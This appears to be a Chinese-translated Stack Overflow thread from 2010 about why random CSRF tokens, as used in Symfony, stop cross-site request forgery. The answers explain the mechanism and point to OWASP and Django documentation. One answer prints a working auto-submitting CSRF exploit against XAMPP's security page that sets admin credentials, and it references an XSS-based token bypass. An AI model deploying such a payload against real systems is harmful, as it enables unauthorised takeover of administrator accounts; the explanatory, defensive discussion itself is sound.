【问题标题】:Why can CSRF attack be prevented by a random CSRF secret?为什么 CSRF 攻击可以通过随机的 CSRF 秘密来阻止?
【发布时间】:2010-09-22 18:39:48
【问题描述】:

为了防止 CSRF 攻击,一个随机的 CSRF 秘密已生成。

以上来自symfony: http://www.symfony-project.org/getting-started/1_4/en/04-Project-Setup

既然最终是由用户操作的,也就是所谓的代理攻击,设置那个秘密怎么办?

【问题讨论】:

标签: security csrf


【解决方案1】:

OWASP(开放网络应用程序安全项目)对 CSRF 有很好的解释,我鼓励您阅读它并在之后发布您的问题。

http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

如果您正在寻找有关如何防止 CSRF 的示例实现,请查看 Django 及其文章。 http://docs.djangoproject.com/en/dev/ref/contrib/csrf/

【讨论】:

  • 我的疑问是:所有随机秘密令牌都会随每个请求一起提交。如何使用它来防止攻击?
  • 令牌是随机生成的,攻击者如何知道它?除非他们可以捕获所有受害者的流量(例如:中间人攻击),否则他们不知道随机令牌是什么。当然,好的随机令牌应该基于时间戳。
  • 攻击者不需要知道token,因为token就像cookie一样,即使是秘密生成的,每次请求都会提交。
  • 对不起,我不认为我完全理解你的问题,你能给我一个场景,攻击者将如何组成你的应用程序/网站吗?所有数据都必须通过具有不同 http 动词(get、post、put 等)的 http(s) 协议传输,无论是 rand 令牌还是用户登录信息。
  • 系统会生成一个token自动提交给用户,对吧?
【解决方案2】:

CSRF 或 XSRF 代表跨站请求伪造。这个想法是,当受害者执行黑客创建的 html 或 javascript 时,攻击者正在“伪造”一个 HTTP 请求。这是我针对 XAMPP 编写的 CSRF 漏洞利用示例。这个想法是这个 html/js 正在构建一个 POST 请求,该请求“骑”在已经存在的会话上。 CSRF 漏洞利用必须由当前登录的 XAMPP 管理员的浏览器执行。

<html>
    <form action='http://127.0.0.1/security/xamppsecurity.php' method='POST' id=1>
        <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
        <input type=hidden name="xamppuser" value=admin >
        <input type=hidden name="xampppasswd" value=password>
        <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
        <input type=submit>
    </form>
</html>
<script>
    document.getElementById(1).submit();
</script>

为了做到这一点,黑客必须提前知道很多关于请求的信息,最重要的是目标服务器和所有变量。黑客不需要知道会话 ID 或“basic-auth”标头,这是由浏览器自动提供的。如果您添加一个随机生成的秘密,那么除非黑客知道该值,否则无法伪造请求。这就像为您发送到服务器的每个请求设置一个密码。黑客可以使用 XSS 获取此令牌值。这是一个更复杂的攻击,但这里有一个利用 XSS 绕过基于令牌的 CSRF 保护的漏洞:http://www.milw0rm.com/exploits/7922

【讨论】:

    【解决方案3】:

    尝试从 cgisecurity (http://www.cgisecurity.com/csrf-faq.html) 阅读 CSRF 常见问题解答。如果您对澄清常见问题有任何疑问,我们将很乐意澄清。

    编辑:引用之前链接的 CSRF 常见问题解答,讨论随机秘密的部分:

    我可以做些什么来保护我自己的应用程序?

    防止 CSRF 最流行的建议是将挑战令牌附加到每个请求。重要的是要说明此挑战令牌必须与用户会话相关联,否则攻击者可能能够自己获取有效令牌并在攻击中使用它。除了绑定到用户会话之外,限制令牌有效的时间周期也很重要。此方法记录在多个文档中,但正如邮件列表中指出的那样,攻击者可以利用现有的浏览器漏洞或 XSS 漏洞来获取此会话令牌。

    【讨论】:

    • 我读过那个帖子,它推荐$_POST而不是$_REQUEST,没有提到“随机CSRF秘密”
    • 我看不到 CSRF 常见问题解答表明建议使用 POST。相反,它明确指出 POST 不足以阻止 CSRF。另外,您是否遵循了常见问题解答中的任何参考资料?
    【解决方案4】:

    Symfony 中的 CSRF 秘密在这里得到了很好的解释:http://www.nacho-martin.com/csrf-tokens-in-symfony

    【讨论】:

      猜你喜欢
      • 2017-04-30
      • 1970-01-01
      • 2021-01-30
      • 2016-01-20
      • 1970-01-01
      • 1970-01-01
      • 2011-08-16
      • 2018-01-08
      • 2013-05-06
      相关资源
      最近更新 更多